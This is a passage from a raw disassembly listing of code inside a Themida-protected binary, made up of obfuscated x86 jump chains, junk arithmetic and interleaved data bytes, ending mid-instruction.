45626E6Fh, 0E3E9FA01h, 0BF00008Ah dd 4, 79BBC281h, 41E93C1Bh db 77h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59DE57: ; CODE XREF: Themida_:005AB31Bj push ecx jmp loc_59FFAC ; --------------------------------------------------------------------------- loc_59DE5D: ; CODE XREF: Themida_:005ABE6Cj xchg esi, [esp] pop esp retn ; --------------------------------------------------------------------------- dw 25E9h dd 29FFFFA5h, 0D6015AD6h, 3A1CC681h, 815A682Ah, 4EEh, 0CCC9E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59DE7E: ; CODE XREF: Themida_:005AEF26j mov [esp], edi push 692Ah mov [esp], edx push eax mov eax, 3C9B3428h shl eax, 5 jp loc_5A64B0 neg eax js loc_5AA53A shr eax, 4 mov ebx, eax push ebp sub eax, 20F21502h sub eax, edx add eax, 20F21502h jmp loc_59DB5D ; --------------------------------------------------------------------------- db 0FFh dd 589D1C77h, 9C240419h, 0FFA4C7E9h db 0FFh ; --------------------------------------------------------------------------- loc_59DEC5: ; CODE XREF: Themida_:005A7195j mov [esp], esi sub esp, 4 push esp pop dword ptr [esp] push esi mov esi, 4 add [esp+4], esi pop esi mov esi, [esp] jmp loc_5AF1D5 ; --------------------------------------------------------------------------- dw 0D989h dd 0FFC8ECE9h, 242C8BFFh, 4C481h, 0EDC10000h, 10F58104h dd 0E961214Fh, 0FFFFEC19h ; --------------------------------------------------------------------------- loc_59DF00: ; CODE XREF: Themida_:005ADB67j add [esp+8], ebx pop ebx pop ebp pop dword ptr [edi+20h] jmp loc_5A77FF ; --------------------------------------------------------------------------- dw 7DBEh dd 29238844h, 0D6015EF2h, 0FF2434FFh, 815A2434h, 4C4h dd 6F2FE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59DF2A: ; CODE XREF: Themida_:00599A1Dj mov edx, 0DAF7E51h push edi mov edi, esp add edi, 4 sub edi, 4 jmp loc_5A86DD ; --------------------------------------------------------------------------- loc_59DF40: ; CODE XREF: Themida_:005A0DF3j push edi mov edi, 57F37C19h inc edi jp loc_5A4FC0 xor edi, 71C61AC3h jbe loc_5AC588 add edi, 0F8160DDCh mov edx, edi jmp loc_59F022 ; --------------------------------------------------------------------------- loc_59DF66: ; CODE XREF: Themida_:0059DA3Ej mov [esp], ecx jmp loc_5AB8EA ; --------------------------------------------------------------------------- loc_59DF6E: ; CODE XREF: Themida_:005A7C3Aj mov [esp], edx mov dl, 73h add al, dl pop edx jmp loc_5A8C26 ; --------------------------------------------------------------------------- loc_59DF7B: ; CODE XREF: Themida_:005AB7E8j mov edi, [esp] add esp, 4 sub edi, 20A32C03h jmp loc_5A68BA ; --------------------------------------------------------------------------- loc_59DF8C: ; CODE XREF: Themida_:005A3A83j xchg eax, [esp] mov esp, [esp] jmp loc_59C02F ; --------------------------------------------------------------------------- db 5Ah dd 6859C800h, 2CEh, 0B6241489h, 8C68089h, 0E958B050h, 0D3F7h dd 7C73BA52h, 61E90FDBh db 78h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59DFBB: ; CODE XREF: Themida_:0059BB7Aj jno loc_5A2B8F sub ebp, 5B4D5506h jmp loc_5A650C ; --------------------------------------------------------------------------- dd 57C5015Fh ; --------------------------------------------------------------------------- loc_59DFD0: ; CODE XREF: Themida_:005ACDDCj xor edx, 0F2336367h mov ebx, edx mov edx, [esp] add esp, 4 sub dword ptr [esp+4], 1AF52AF8h jmp loc_5A2BBE ; --------------------------------------------------------------------------- loc_59DFEB: ; CODE XREF: Themida_:005A3363j jle loc_5A9427 jmp loc_5A047B ; --------------------------------------------------------------------------- dw 8B66h dd 0C780240Ch db 53h, 56h ; --------------------------------------------------------------------------- loc_59DFFE: ; CODE XREF: Themida_:loc_5A63C1j dec ebp jnp loc_59C589 push ecx mov ecx, 3AB0DC03h xor ebp, ecx pop ecx mov ebx, ebp jmp loc_59D775 ; --------------------------------------------------------------------------- db 0F6h, 0DDh, 0E9h dd 0E78Dh ; --------------------------------------------------------------------------- loc_59E01C: ; CODE XREF: Themida_:005AE066j sub cl, 0D4h sub cl, 6 jmp loc_59921B ; --------------------------------------------------------------------------- loc_59E027: ; CODE XREF: Themida_:005A5CB8j mov [esp], eax push esp pop eax jmp loc_5A61F7 ; --------------------------------------------------------------------------- loc_59E031: ; CODE XREF: Themida_:0059CE38j pop dword ptr [esp] pop esp mov [esp], eax push dword ptr [esp+4] push dword ptr [esp] pop eax add esp, 4 pop dword ptr [esp] mov esp, [esp] test cl, al pushf jmp loc_59838C ; --------------------------------------------------------------------------- loc_59E051: ; CODE XREF: Themida_:005A0161j ; Themida_:005AED39j sub esi, 33A12661h add esi, eax add esi, 33A12661h jmp loc_5A6578 ; --------------------------------------------------------------------------- dd 52E7D159h, 796CB6BAh, 0E9D70113h, 0FFFFD579h, 9099E9h dd 43DA6800h, 24890000h, 405CE924h, 0F4A0000h, 729B8Fh dd 44EA8100h, 0C14CE674h, 890F08E2h, 1028Bh, 0A9CFEA81h dd 0D1895864h, 8124148Bh, 4C4h, 92C98100h, 0F16E61Fh, 0C06C8Bh dd 0FFE98100h, 81FFFFFFh, 0E60F97F1h db 17h, 89h, 0CBh ; --------------------------------------------------------------------------- loc_59E0C7: ; CODE XREF: Themida_:005A7878j add ebx, 583F9CBFh jmp loc_599163 ; --------------------------------------------------------------------------- loc_59E0D2: ; CODE XREF: Themida_:0059FEBAj and ecx, ebx pop ebx shr ecx, 7 push 4744h mov [esp], edx mov edx, ebx push 271Dh mov [esp], esi push edx pop esi mov eax, esi mov esi, [esp] push 790Ch jmp loc_5ACF35 ; --------------------------------------------------------------------------- loc_59E0FB: ; CODE XREF: Themida_:005A3BE2j mov esp, [esp] mov [esp], ebx push dword ptr [esp] jmp loc_59D9CF ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 89000000h, 0B850243Ch, 34F024B0h, 0F024AC2Dh, 34815034h dd 0A307C24h, 0F7815F52h, 520A307Ch, 40C96858h, 15E90000h dd 0BD0000BBh, 2BBF19AEh, 0F75DEF89h, 0F7DF87DFh, 0E9DF31DBh dd 533Ch ; --------------------------------------------------------------------------- loc_59E14C: ; CODE XREF: Themida_:005A12FBj add ch, 8Dh add bl, ch pop ecx add bl, ah jmp loc_5A0FAF ; --------------------------------------------------------------------------- loc_59E159: ; CODE XREF: Themida_:005A8097j mov eax, 4F9A109Ch sub eax, 623456F6h and eax, 34AD2187h neg eax dec eax add eax, 66D95D15h xor ebx, eax jmp loc_5ADA9D ; --------------------------------------------------------------------------- db 89h dd 3DDCE9F1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59E17E: ; CODE XREF: Themida_:005ACE1Bj mov cl, 4Fh and cl, 8Ah jo loc_599585 sub cl, 38h jg loc_5A127F or cl, 9Ah jg loc_5A873E shl cl, 2 jnz loc_598A4D add cl, 1Eh neg cl jmp loc_5A1057 ; --------------------------------------------------------------------------- loc_59E1AE: ; CODE XREF: Themida_:005A17C2j mov esi, 4 add ebp, esi pop esi jmp loc_59ED9E ; --------------------------------------------------------------------------- loc_59E1BB: ; CODE XREF: Themida_:005A7AE0j xor edx, 3944398Ch jz loc_5A81E7 xor edx, 0ABCA726h push edi mov edi, 1DE5486Ah jmp loc_5A1E2E ; --------------------------------------------------------------------------- loc_59E1D8: ; CODE XREF: Themida_:005AE941j push eax mov eax, 6E7605BCh add eax, 62764D6Fh jmp loc_5A4AD0 ; --------------------------------------------------------------------------- dd 629C681h, 0ED8139DBh, 0C5538EBh, 0C581F529h, 0C5538EBh dd 2EAF685Eh, 3C890000h, 0E3895324h, 4C381h, 0EB830000h dd 241C8704h, 242C895Ch, 0F01E11BDh, 6A1E948h db 1, 0 ; --------------------------------------------------------------------------- loc_59E222: ; CODE XREF: Themida_:005AC656j xor bl, al push ebx sub esp, 4 mov [esp], edx mov edx, 38h mov ebx, edx jmp loc_5A67FD ; --------------------------------------------------------------------------- dw 0C581h dd 66AD2725h, 0F54A850Fh, 0D8E90000h, 53FFFFB8h, 4BBh dd 59DF0100h db 5Bh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_5A7596 ; --------------------------------------------------------------------------- loc_59E263: ; CODE XREF: Themida_:005A17F6j push eax jmp loc_5A8C5C ; --------------------------------------------------------------------------- loc_59E269: ; CODE XREF: Themida_:loc_599A02j shr esi, 7 neg esi jp loc_5A7773 add esi, 22C8E3C7h jmp loc_59E34C ; --------------------------------------------------------------------------- db 8Bh db 1Ch, 24h ; --------------------------------------------------------------------------- loc_59E282: ; CODE XREF: Themida_:005A613Aj xchg edx, [esp] pop esp mov [esp], eax mov al, dl push edx mov dl, al mov bl, dl mov edx, [esp] add esp, 4 jmp loc_5AE15C ; --------------------------------------------------------------------------- loc_59E29B: ; CODE XREF: Themida_:005AAEEDj add esp, 4 and bl, 16h xor bl, 0Fh add ch, 2Ch push eax mov ah, 0C4h sub ch, ah pop eax add ch, bl push eax jmp loc_5A7A35 ; --------------------------------------------------------------------------- loc_59E2B5: ; CODE XREF: Themida_:0059A960j add esi, 6194B4Bh jmp loc_5A900D ; --------------------------------------------------------------------------- loc_59E2C0: ; CODE XREF: Themida_:0059E92Dj pop eax jmp loc_5A2E9F ; --------------------------------------------------------------------------- loc_59E2C6: ; CODE XREF: Themida_:0059B460j pop edi jmp loc_5AE353 ; --------------------------------------------------------------------------- loc_59E2CC: ; CODE XREF: Themida_:0059AB08j push ebp mov ebp, 4 add eax, ebp pop ebp jmp loc_5A7A3C ; --------------------------------------------------------------------------- loc_59E2DA: ; CODE XREF: Themida_:0059C5D0j and ebx, 45387091h jmp loc_5AA65B ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 4C4815Eh, 68000000h, 1694h, 0E9241C89h, 1AE8h, 240C3166h dd 240C3366h, 240C3166h, 2EC81h, 89660000h, 5566240Ch dd 240C8B66h, 1134E9h, 98C58100h, 0E997045Fh, 0AD6Ch ; --------------------------------------------------------------------------- loc_59E328: ; CODE XREF: Themida_:0059C8FFj inc esi and esi, 30C82B1Fh push edi mov edi, 462278EEh or edi, 3FA9288Fh shl edi, 3 add edi, 7CB5575Fh or esi, edi pop edi jmp loc_59FA3A ; --------------------------------------------------------------------------- loc_59E34C: ; CODE XREF: Themida_:0059E27Aj ; Themida_:005A43B2j mov edx, 29CB5F6Ah sub ecx, edx mov edx, [esp] add esp, 4 sub ecx, 6F675C58h sub ecx, 58426ED5h sub ecx, ebx add ecx, 58426ED5h push ebp mov ebp, 6126223Eh shr ebp, 3 shr ebp, 6 xor ebp, 6F57CF49h add ecx, ebp pop ebp jmp loc_59F649 ; --------------------------------------------------------------------------- loc_59E387: ; CODE XREF: Themida_:005A6BABj mov [esp], eax jmp loc_5ADCBF ; --------------------------------------------------------------------------- db 0BBh dd 4E165F0Fh, 5F0DF381h, 0C1E94E16h db 80h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59E39F: ; CODE XREF: Themida_:loc_5A2204j neg ebp inc ebp jz loc_5A7582 push edx jmp loc_598D6B ; --------------------------------------------------------------------------- dw 0E955h dd 5BFDh, 5CA668h, 8F06800h, 0E5E90000h, 81FFFFD9h, 3C5957EDh dd 243C8B43h, 8104C483h, 4B32BBC1h, 8DFCE979h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59E3DA: ; CODE XREF: Themida_:005A9BD8j or esi, 0A4713F4h shr esi, 7 jmp loc_5AE7EB ; --------------------------------------------------------------------------- dd 0C1815954h, 4, 0FD58E9h db 0 ; --------------------------------------------------------------------------- loc_59E3F5: ; CODE XREF: Themida_:005AE856j sub edx, 62FB32ABh pop esi sub esp, 4 mov [esp], ebx jmp loc_59F941 ; --------------------------------------------------------------------------- loc_59E407: ; CODE XREF: Themida_:loc_5A4E94j add ecx, 5EC81022h mov ebx, ecx pop ecx neg ebx sub esp, 4 jmp loc_59FCCA ; --------------------------------------------------------------------------- loc_59E41D: ; CODE XREF: Themida_:0059AD86j ; Themida_:005A6C38j add edi, edx add edi, 2BA11727h pop edx push ebp mov ebp, 4 push ecx mov ecx, 6E22045Dh add edi, ecx pop ecx sub edi, ebp sub edi, 6E22045Dh pop ebp xchg edi, [esp] pop esp jmp loc_5AB664 ; --------------------------------------------------------------------------- loc_59E447: ; CODE XREF: Themida_:0059CDDFj add bl, 9 xor bl, 0ADh sub ch, bl jmp loc_59F2E5 ; --------------------------------------------------------------------------- loc_59E454: ; CODE XREF: Themida_:005AADE1j ; Themida_:005AE171j push edi mov edi, 2BAE2CC3h sub [esp+0Ch], edi pop edi sub [esp+8], ebx add dword ptr [esp+8], 2BAE2CC3h pop ebx add dword ptr [esp+4], 2D02246Eh sub [esp+4], ecx sub dword ptr [esp+4], 2D02246Eh add dword ptr [esp+4], 1ABD5205h pop ecx add [esp], eax push ebp push ebx jmp loc_59D46D ; --------------------------------------------------------------------------- loc_59E493: ; CODE XREF: Themida_:0059916Bj dec ebp push esi push 6E3Ah mov [esp], ebx mov ebx, 6DD221B6h dec ebx xor ebx, 1058465Ch jmp loc_5A854B ; --------------------------------------------------------------------------- loc_59E4AE: ; CODE XREF: Themida_:005AEF1Dj sub esp, 4 jmp loc_59AE67 ; --------------------------------------------------------------------------- loc_59E4B6: ; CODE XREF: Themida_:005A1CDCj add ebx, 4 add ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_5A9774 ; --------------------------------------------------------------------------- db 0BBh, 33h, 14h dd 0BE565CC4h, 6A9B066Eh, 348BF331h, 4C48324h, 0FFC8EDE9h db 0FFh ; --------------------------------------------------------------------------- loc_59E4E5: ; CODE XREF: Themida_:005AAC35j jp loc_5A6189 sub esp, 4 mov [esp], ebx jmp loc_5A53E9 ; --------------------------------------------------------------------------- dw 4D45h dd 8F04C483h, 751E6800h, 0ECE90000h, 68000001h, 200Ch dd 0B4240489h, 80E951E4h db 4, 2 dup(0) ; --------------------------------------------------------------------------- loc_59E517: ; CODE XREF: Themida_:0059C076j mov [esp], ebp jmp loc_5ACA90 ; --------------------------------------------------------------------------- loc_59E51F: ; CODE XREF: Themida_:005A590Bj mov esp, [esp] add edi, 55CD2E16h sub edi, 23AA0990h push eax mov eax, 0B811670h push edx mov edx, 57E10761h not edx and edx, 3F475AE3h neg edx xor edx, 1BC25CBDh sub edx, 372100D3h sub edx, 96ADC206h add eax, edx pop edx jmp loc_5997C6 ; --------------------------------------------------------------------------- loc_59E55E: ; CODE XREF: Themida_:005A9B3Fj xor [esp], eax xor eax, [esp] mov esp, [esp] add [esp], al pushf jmp loc_59838C ; --------------------------------------------------------------------------- dd 31243433h, 34332434h, 0C7815C24h, 2, 0F5B8E9h db 0 ; --------------------------------------------------------------------------- loc_59E585: ; CODE XREF: Themida_:005A1BF5j xchg ecx, [esp] pop esp mov ebx, [esp] push 101Fh mov [esp], ebp push 73B2h mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] jmp loc_5ABF2B ; --------------------------------------------------------------------------- loc_59E5A8: ; CODE XREF: Themida_:005AABF5j push 2626h mov [esp], ecx sub esp, 4 mov [esp], esi mov esi, 51247BA7h not esi not esi add esi, 0AEDB845Ah mov ecx, esi pop esi or [edi+1Ch], ecx jmp loc_59DC6C ; --------------------------------------------------------------------------- loc_59E5D0: ; CODE XREF: Themida_:005A9023j push edx push esi jmp loc_59EAFB ; --------------------------------------------------------------------------- loc_59E5D7: ; CODE XREF: Themida_:005AE36Bj xchg ebp, [esp] mov esp, [esp] btc [esp], ax pushf jmp loc_59838C ; --------------------------------------------------------------------------- loc_59E5E8: ; CODE XREF: Themida_:005A5D71j ; Themida_:005AD43Bj dec ch jmp loc_5ABB72 ; --------------------------------------------------------------------------- loc_59E5EF: ; CODE XREF: Themida_:005A4132j pop ebx shl edi, 3 shr edi, 4 sub edi, 5C9D533Fh xor edi, 0FA272ACh neg edi xor edi, 58717484h xor ecx, edi jmp loc_59EB3E ; --------------------------------------------------------------------------- db 56h, 89h, 0E6h dd 4C681h, 0C6830000h, 24348704h, 0BB53555Ch, 73011568h dd 0E68B0F43h, 53FFFFA3h, 0EDA6E951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59E636: ; CODE XREF: Themida_:005AD79Dj pop ebx xchg edi, [esp] pop esp mov esi, [esp] add esp, 4 push ecx mov ecx, 4 jmp loc_59B780 ; --------------------------------------------------------------------------- loc_59E64C: ; CODE XREF: Themida_:005A22C8j ; Themida_:005A239Cj add esp, 4 push 6EC8h mov [esp], ebx push ecx mov ecx, 16A20FBCh mov ebx, ecx pop ecx jmp loc_5A897B ; --------------------------------------------------------------------------- db 0E9h, 0B8h, 4 db 2 dup(0) ; --------------------------------------------------------------------------- loc_59E66A: ; CODE XREF: Themida_:0059A8E7j xor [esp], ecx xor ecx, [esp] pop esp jmp loc_59877D ; --------------------------------------------------------------------------- dw 433h dd 0B8BAE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59E67E: ; CODE XREF: Themida_:005A9817j mov esi, esp add esi, 4 push ebx mov ebx, 4 add esi, ebx pop ebx jmp loc_5A9D0B ; --------------------------------------------------------------------------- loc_59E694: ; CODE XREF: Themida_:0059BF16j mov ecx, 251A2702h xor ecx, eax pop eax sub ebx, 76E66560h sub ebx, 208C6549h add ebx, ecx add ebx, 208C6549h add ebx, 76E66560h mov ecx, [esp] push ebx mov ebx, esp add ebx, 4 push edi mov edi, 4 add ebx, edi jmp loc_5A5D82 ; --------------------------------------------------------------------------- loc_59E6CF: ; CODE XREF: Themida_:005AEC8Bj mov ecx, [esp] add esp, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] xor ebx, eax push 177Eh mov [esp], ebx jmp loc_5A2B39 ; --------------------------------------------------------------------------- loc_59E6F3: ; CODE XREF: Themida_:005A8D1Dj mov [esp], ecx jmp loc_59F824 ; --------------------------------------------------------------------------- db 5Dh dd 4C181h, 0C870000h, 24248B24h, 3AF56852h, 5BE90000h db 0A1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59E713: ; CODE XREF: Themida_:005A3F4Ej mov edx, 75626F9Fh not edx sub edx, 367EE5CAh sub ebx, edx pop edx push 73DAh mov [esp], ebx add dword ptr [esp], 19A0603Fh jmp loc_599485 ; --------------------------------------------------------------------------- db 81h dd 0B5241EBh, 240C8B1Dh, 0D2D1E9h, 0D7885300h, 0FFEA03E9h db 0FFh ; --------------------------------------------------------------------------- loc_59E74D: ; CODE XREF: Themida_:0059D30Cj ; Themida_:loc_5A1F8Dj sub ebp, 64A45C2Dh jmp loc_5A9B95 ; --------------------------------------------------------------------------- dd 8004C483h, 0CC8040ECh, 0E9CCFE52h, 92E5h, 815B5453h dd 4C3h, 0BB535100h, 4, 15BD989h, 0FF5359CBh, 5B042474h dd 8B24048Fh, 0FD682424h, 89000078h, 0E2892414h, 0E747E9h db 0 ; --------------------------------------------------------------------------- loc_59E799: ; CODE XREF: Themida_:005A944Ej xor ebp, edx pop edx mov ecx, ebp pop ebp sub ecx, edx pop edx xor ecx, ebx pop ebx add esi, ecx pop ecx sub edx, 275A3024h jmp loc_5A7EF4 ; --------------------------------------------------------------------------- loc_59E7B3: ; CODE XREF: Themida_:005A9FFAj add dword ptr [esp], 4 mov ecx, [esp] add esp, 4 add ecx, 4 jmp loc_5A7AC7 ; --------------------------------------------------------------------------- loc_59E7CE: ; CODE XREF: Themida_:005989B5j mov eax, 415E6D59h sub ebp, eax pop eax push ebx mov ebx, 7C1A743Ch sub ebx, 6C5F3211h sub ebx, 0F3212D3Ch add ebp, ebx jmp loc_59D919 ; --------------------------------------------------------------------------- loc_59E7EF: ; CODE XREF: Themida_:0059BA4Bj push 0FF3h jmp loc_5AEF0B ; --------------------------------------------------------------------------- db 81h, 0F5h, 6Ch dd 89CE7F0Ah, 242C8BEEh, 0E904EC83h, 9382h ; --------------------------------------------------------------------------- loc_59E80C: ; CODE XREF: Themida_:0059F348j add ebp, 68016A0Ch pop ebx add ebp, 2 push 62EFh mov [esp], ebp push dword ptr [esp+4] jmp loc_5A2E14 ; --------------------------------------------------------------------------- loc_59E827: ; CODE XREF: Themida_:005A08C2j add esp, 4 push eax push dword ptr [esp+4] pop eax jmp loc_5A6B33 ; --------------------------------------------------------------------------- loc_59E838: ; CODE XREF: Themida_:0059A4B9j xchg eax, [esp] jmp loc_5AF0A5 ; --------------------------------------------------------------------------- loc_59E840: ; CODE XREF: Themida_:005A7F92j xor [esp], ebx jmp loc_59A231 ; --------------------------------------------------------------------------- aIYs db 'ΝYι',0Bh,'\',0 align 10h loc_59E850: ; CODE XREF: Themida_:0059A539j jbe loc_5A6C3D jmp loc_59B615 ; --------------------------------------------------------------------------- loc_59E85B: ; CODE XREF: Themida_:0059F6AFj sub ebp, 4 jmp loc_5A4EF7 ; --------------------------------------------------------------------------- db 0D1h dd 93880FE2h, 680000D7h, 51D8h, 0E9242C89h, 0FFFFF540h ; --------------------------------------------------------------------------- loc_59E878: ; CODE XREF: Themida_:005ACF03j pop esi add ecx, edx jmp loc_5A398A ; --------------------------------------------------------------------------- loc_59E880: ; CODE XREF: Themida_:005AAF83j xchg edx, ecx not edx xchg edx, ecx shl ecx, 5 add ecx, 11AC430Eh xor ecx, 0D1DF8C2Ah jmp loc_5A88A3 ; --------------------------------------------------------------------------- dw 68h dd 0FF000000h, 78E92434h, 0E90000ABh, 429Ah ; --------------------------------------------------------------------------- loc_59E8AC: ; CODE XREF: Themida_:0059FC3Ej add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5AD188 ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch dd 4EC8324h, 54240489h, 4BE5658h, 5000000h, 4934863h, 632DF001h dd 5E049348h, 4EC81h, 1C890000h, 6F916824h, 24890000h dd 24048124h, 4, 66B1E95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_59E8FE: ; CODE XREF: Themida_:005A57F4j xchg eax, [esp] pop esp add eax, 4CD9627Ah jmp loc_5988A2 ; --------------------------------------------------------------------------- loc_59E90C: ; CODE XREF: Themida_:005AC617j shr esi, 2 inc esi xor esi, 25B086Fh jmp loc_59D8DD ; --------------------------------------------------------------------------- loc_59E91B: ; CODE XREF: Themida_:005A5687j add esi, ecx pop ecx add eax, esi mov esi, [esp] push eax mov eax, esp jmp loc_5A6A2C ; --------------------------------------------------------------------------- loc_59E92B: ; CODE XREF: Themida_:005ABCF9j sub edi, eax jmp loc_59E2C0 ; --------------------------------------------------------------------------- loc_59E932: ; CODE XREF: Themida_:005A690Cj mov bx, [esp] jmp loc_5A7CBE ; --------------------------------------------------------------------------- db 68h dd 7C7041FEh, 38C7815Fh, 0F7513157h, 87B850D7h, 0E9187A5Bh dd 0FFFFDED5h, 0B3EBE9h db 0 ; --------------------------------------------------------------------------- loc_59E959: ; CODE XREF: Themida_:005A8288j pop ebp add edi, 0AD6CD5ECh push 1E66h mov [esp], edi mov edi, 161059CDh jmp loc_5A1B7F ; --------------------------------------------------------------------------- dw 0EC83h dd 242C8904h, 0C581E589h, 4, 3304ED83h, 2C31242Ch, 242C3324h dd 8924248Bh, 2FE9241Ch, 0B10000A7h, 57EC80ECh, 0C480CC28h dd 0CC805957h, 0D850F0Eh, 0D0000069h, 0EE8A0FECh, 0E9FFFFDDh dd 108A5h, 0ECE9525Bh db 0Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_59E9BF: ; CODE XREF: Themida_:0059F50Bj mov [esp], ecx mov ecx, 54DC26FFh shl ecx, 2 add ecx, 7FA5D8Fh jmp loc_5AE510 ; --------------------------------------------------------------------------- loc_59E9D5: ; CODE XREF: Themida_:005AB9F6j sub ebp, 5DB31F1Fh add ebp, esi add ebp, 5DB31F1Fh push esi jmp loc_5A3B97 ; --------------------------------------------------------------------------- db 2 dup(0BBh), 2Ch dd 0FEE955CBh, 8100001Eh, 0A1764BE3h, 44F38178h, 1102012h dd 0EC835BDDh, 243C8904h, 30A6B850h, 0A2BF2836h, 31283630h dd 0FD2958C7h, 74FF555Fh, 8F5D0424h, 248B2404h, 240C8924h dd 0FFC9B6E9h db 0FFh ; --------------------------------------------------------------------------- loc_59EA2D: ; CODE XREF: Themida_:005A1480j or eax, eax jz loc_59A361 push dword ptr [edi+1Ch] sub esp, 4 mov [esp], ebx push edx mov edx, 75F45338h jmp loc_59F000 ; --------------------------------------------------------------------------- dd 88240489h, 8BC188D8h, 0C4832404h, 2434FF04h, 0FFF7F3E9h dd 0E8C140FFh, 4CB30D06h, 2605761Ch, 31E03A94h, 0CFA9E9C7h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59EA76: ; CODE XREF: Themida_:005A4E8Fj mov eax, esp add eax, 4 sub eax, 4 push 7A6h mov [esp], eax push dword ptr [esp+4] jmp loc_599BE9 ; --------------------------------------------------------------------------- loc_59EA91: ; CODE XREF: Themida_:005A0C2Dj pop eax jmp loc_5AE064 ; --------------------------------------------------------------------------- loc_59EA97: ; CODE XREF: Themida_:005A18E5j push 5FCDh mov [esp], ebp pop ebx mov ebp, [esp] add esp, 4 sub esp, 4 mov [esp], esi mov esi, 72966013h and ebx, esi mov esi, [esp] add esp, 4 push edx mov edx, 0A812A6Dh jmp loc_5A70F5 ; --------------------------------------------------------------------------- dw 0DAF6h dd 0E7FB840Fh, 0E280FFFFh, 0D6EA80A8h, 0E907EAC0h, 76C6h dd 1FAABD66h, 246C0166h, 9FB2E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59EAEE: ; CODE XREF: Themida_:005A6D5Cj mov edx, [esp] jmp loc_5A0129 ; --------------------------------------------------------------------------- loc_59EAF6: ; CODE XREF: Themida_:005A6B39j jmp loc_59838C ; --------------------------------------------------------------------------- loc_59EAFB: ; CODE XREF: Themida_:0059E5D2j push 557A1D77h pop esi dec esi jz loc_5ABC68 xor esi, 0E7825D5h mov edx, esi jmp loc_5A9260 ; --------------------------------------------------------------------------- loc_59EB15: ; CODE XREF: Themida_:005AA4C3j push 1745h mov [esp], ebp jmp loc_59C94C ; --------------------------------------------------------------------------- dw 0DAF7h dd 43D8E0Fh, 7EE90000h, 2D000040h, 5E995046h db 31h, 0C5h ; --------------------------------------------------------------------------- loc_59EB36: ; CODE XREF: Themida_:005AE0AFj shr eax, 2 jmp loc_5A380A ; --------------------------------------------------------------------------- loc_59EB3E: ; CODE XREF: Themida_:0059E60Cj mov edi, [esp] add esp, 4 and eax, ecx jmp loc_5A3207 ; --------------------------------------------------------------------------- dw 215Ch dd 34FF1C6Fh, 9C685D24h, 8900003Fh, 0EC812414h, 4, 83242489h dd 8B042404h, 0C4832414h, 4C28104h, 83000000h, 0EC8304C2h dd 24148904h, 42474FFh, 0E92434FFh, 1A6Dh, 0DA31595Dh dd 76E0E9h db 0 ; --------------------------------------------------------------------------- loc_59EB95: ; CODE XREF: Themida_:005A2B81j push eax mov eax, 63F37920h add eax, 0CB7EDEBDh add edx, eax pop eax jmp loc_59CE3D ; --------------------------------------------------------------------------- loc_59EBA8: ; CODE XREF: Themida_:005A24D8j add edx, 51AA6F5Bh add ebx, edx mov edx, [esp] add esp, 4 add ecx, ebx pop ebx add ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] shr eax, 0Eh xor eax, ecx push 2753h mov [esp], eax push 10C7h mov [esp], esi push dword ptr [esp] mov eax, [esp] add esp, 4 push 72FDh mov [esp], esi mov esi, esp add esi, 4 add esi, 4 push esi jmp loc_5A2C19 ; --------------------------------------------------------------------------- loc_59EC05: ; CODE XREF: Themida_:005A87E2j pop edx shl edi, 6 shl edi, 1 sub edi, 0FFFFFFFFh jmp loc_59D68C ; --------------------------------------------------------------------------- loc_59EC16: ; CODE XREF: Themida_:005A3303j push 19F009B7h pop ecx jmp loc_59C931 ; --------------------------------------------------------------------------- loc_59EC21: ; CODE XREF: Themida_:loc_5A6D1Ej push ecx mov ecx, 44296A9Ch and eax, ecx mov ecx, [esp] push ebp jmp loc_59BE38 ; --------------------------------------------------------------------------- loc_59EC32: ; CODE XREF: Themida_:005A7D33j pop edx push ecx mov ecx, 6CB60E37h shr ecx, 3 not ecx or ecx, 64F31365h push esi mov esi, 0D2F6EC5Dh sub ecx, 6CE31A8h sub ecx, esi add ecx, 6CE31A8h pop esi jmp loc_5A0EC3 ; --------------------------------------------------------------------------- dw 0C87h dd 0A43DE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59EC66: ; CODE XREF: Themida_:005A7491j pop ebp push 2429h jmp loc_599B0A ; --------------------------------------------------------------------------- loc_59EC71: ; CODE XREF: Themida_:005994DDj shr ebx, 8 neg ebx jmp loc_5AE2AE ; --------------------------------------------------------------------------- loc_59EC7B: ; CODE XREF: Themida_:005A5B15j push ebx push esp pop ebx jmp loc_59D0C6 ; --------------------------------------------------------------------------- loc_59EC83: ; CODE XREF: Themida_:005AB64Aj ; Themida_:005AD9BFj sub ecx, 24EB6AA7h jmp loc_598ACC ; --------------------------------------------------------------------------- loc_59EC8E: ; CODE XREF: Themida_:005A1882j push ecx mov cl, 2Ah sub cl, 0B7h xor cl, 9Ch jmp loc_5AF2F3 ; --------------------------------------------------------------------------- loc_59EC9C: ; CODE XREF: Themida_:005A1B56j ; Themida_:005A3D99j pop eax xor esi, ebp jmp loc_5A1CE1 ; --------------------------------------------------------------------------- loc_59ECA4: ; CODE XREF: Themida_:005AC778j or ebx, ecx pop ecx xor ebx, 42672860h shl ebx, 1 push edx mov edx, 5D8B3A5Ch and edx, 14456230h push ebx mov ebx, 33C55CB9h add edx, 338C0809h add edx, ebx sub edx, 338C0809h pop ebx inc edx add edx, 0CF2883DFh jmp loc_5AED9B ; --------------------------------------------------------------------------- loc_59ECDC: ; CODE XREF: Themida_:005AC4E7j mov eax, 4 add ebx, eax jmp 